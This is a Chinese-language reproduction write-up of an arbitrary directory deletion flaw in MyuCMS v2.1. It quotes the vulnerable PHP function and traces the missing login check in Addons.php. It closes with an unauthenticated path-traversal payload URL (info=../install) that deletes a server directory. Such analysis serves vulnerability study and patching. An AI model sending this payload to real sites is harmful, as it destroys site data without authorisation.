MyuCMS v2.1 任意目录删除漏洞

一、漏洞简介

二、漏洞影响

MyuCMS v2.1

三、复现过程

因为漏洞描述是任意文件删除,所以先全文搜索 unlink 函数,定位到存在文件删除功能的代码段。

定位到 application/common.php 中的 deleteun 函数

1.jpg

function deleteun($dir_name)
{
    $result = false;
    if (is_dir($dir_name)) { // 判断是否为目录
        if ($handle = opendir($dir_name)) { // 打开目录
            while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件 
                if ($item != '.' && $item != '..') {
                    if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录,则递归调用deleteun
                        deleteun($dir_name . DS . $item);
                    } else {
                        unlink($dir_name . DS . $item); // 删除遍历到的文件
                    }
                }
            }
            closedir($handle); // 关闭文件夹
            if (rmdir($dir_name)) { // 删除该目录
                $result = true;
            }
        }
    }

    return $result;
}

根据 deleteun 函数的实现代码来看,我们可以看到该函数中对传入的参数无任何限制。

然后在整个项目中搜索,看哪个文件中调用了 deleteun 函数。

发现总共三处两个文件调用了该函数,且这三处代码内容相同,只不过是传递给的 deleteun 函数的参数不同,我们可以判断出,这三处都可以触发任意目录删除漏洞。

2.jpg

这三处的不同之处在于。Muban.php 继承了 Common 类,在 Common 类中实现了对于是否已经登录的验证。实现代码如下。

public function _initialize(){
        if(!session('usermail') || !session('kouling')){
           $this->error('请登录',url('login/index')); 
           print s();
        }

    }

Addons.php 继承自 AdminBase 类,且初始化时执行父类 AdminBase_initialize() 方法,在 AdminBase 类中调用了父类 Controller_initialize() 方法。而父类的 Controller_initialize(); 方法的实现内容为空。

所以 Addons.php 在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。

Payload

所以给出 Payload 如下,即可删除整个 install 目录

Payload: http://www.0-sec.org/admin/Addons/un?info=../install

参考链接

https://xz.aliyun.com/t/7271#toc-0